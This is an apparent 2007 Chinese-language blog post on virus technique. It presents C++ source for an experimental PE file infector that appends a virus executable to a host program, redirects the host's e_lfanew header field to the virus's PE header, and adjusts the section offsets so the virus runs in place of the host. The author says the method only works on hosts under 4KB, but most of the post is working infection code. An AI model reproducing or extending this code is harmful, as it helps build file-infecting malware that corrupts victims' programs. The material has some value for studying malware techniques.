• 2007-06-25

    修改PE的e_lfnew感染法 - [病毒技术]

    版权声明:转载时请以超链接形式标明文章原始出处和作者信息及本声明
    http://romio64.blogbus.com/logs/6131989.html

    实验性质的东西
    仍然属于bind infection的一种,只不过他是把宿主文件的e_lfanew指向了后面病毒PE的PE HEADER,我测试了一下,如果PE HEADER的SizeOfHeaders大于4k的话程序就不能被load,也就是说宿主程序大小+病毒的所有头大小+病毒的节表大小不能大于4K,这样的话这种感染方式就没有实用价值了。
    以上说法如有错误,请批评指正嘿嘿~
    BOOL CInfection::InfectFile(LPCTSTR lpVirus, LPCTSTR lpHost)
    {
    CFileMap fm(lpHost) ;

    DWORD dwHostSize = fm.GetSize() ;

    if (0 == dwHostSize)
    return false ;

    /*
    如果宿主文件大于4k的话,被感染后的SizeOfHeaders有可能大于4k
    如果SizeOfHeaders大于4k的话则程序无法执行
    所以被感染程序只能限制在4k以内
    */
    if (0x1000 < dwHostSize)
    return false ;

    fm.Close() ;

    /*

    */
    CFileMap fmvirus(lpVirus) ;

    DWORD dwVirusSize = fmvirus.GetSize() ;

    if (0 == dwVirusSize)
    return false ;

    LPBYTE lpBuff ;

    fmvirus.GetData(&lpBuff) ;

    if (NULL == lpBuff)
    return false ;

    //得到病毒的e_lfanew值
    DWORD dwVirusPEHeaderOffset = *(DWORD *)(lpBuff + 0x3c) ;

    /*
    合并宿主和病毒文件
    */
    HANDLE hFile = CreateFile(lpHost, \
    GENERIC_READ | GENERIC_WRITE, \
    FILE_SHARE_READ | FILE_SHARE_WRITE, \
    NULL, \
    OPEN_ALWAYS, \
    FILE_ATTRIBUTE_NORMAL, \
    NULL) ;

    if (INVALID_HANDLE_VALUE == hFile)
    {
    return false ;
    }

    SetFilePointer(hFile, dwVirusSize, NULL, FILE_END) ;

    SetEndOfFile(hFile) ;

    DWORD dwBytesWrite = 0 ;

    SetFilePointer(hFile, dwHostSize, NULL, FILE_BEGIN) ;
    WriteFile(hFile, lpBuff, dwVirusSize, &dwBytesWrite, NULL) ;
    CloseHandle(hFile) ;
    fmvirus.Close() ;

    CFileMap fmInfected(lpHost) ;

    DWORD dwInfectedSize = fmInfected.GetSize() ;

    if (0 == dwInfectedSize)
    return false ;

    LPBYTE lpBuffer ;

    fmInfected.GetData(&lpBuffer) ;

    if (NULL == lpBuffer)
    return false ;

    /*
    ,使宿主的e_lfanew指向病毒的PE头
    */
    DWORD *pdwVirPEHeaderOffset = (DWORD *)(lpBuffer + 0x3c) ;

    *pdwVirPEHeaderOffset = dwVirusPEHeaderOffset + dwHostSize ;

    SetOffsetOfSection(lpBuffer,dwHostSize) ;

    fmInfected.Close() ;

    return true ;

    }

    BOOL CInfection::SetOffsetOfSection(LPBYTE lpBuffer, DWORD dwOffset)
    {
    IMAGE_DOS_HEADER *imDos_Headers = (IMAGE_DOS_HEADER *)lpBuffer;
    if (imDos_Headers->e_magic != IMAGE_DOS_SIGNATURE)
    {
    // 不是MZ文件
    return FALSE;
    }

    IMAGE_NT_HEADERS *imNT_Headers = (IMAGE_NT_HEADERS *)(lpBuffer + imDos_Headers->e_lfanew);
    if (imNT_Headers->Signature != IMAGE_NT_SIGNATURE)
    {
    // 不是PE格式文件
    return FALSE;
    }

    int i;

    // 各节头、长度

    IMAGE_SECTION_HEADER *imSECTION_Headers = (IMAGE_SECTION_HEADER*) ((char*)imNT_Headers + sizeof(IMAGE_NT_HEADERS));
    for (i = 0; i < imNT_Headers->FileHeader.NumberOfSections; i ++, imSECTION_Headers++)
    {
    imSECTION_Headers->PointerToRawData += dwOffset ;
    }


    return true ;
    }


    收藏到:Del.icio.us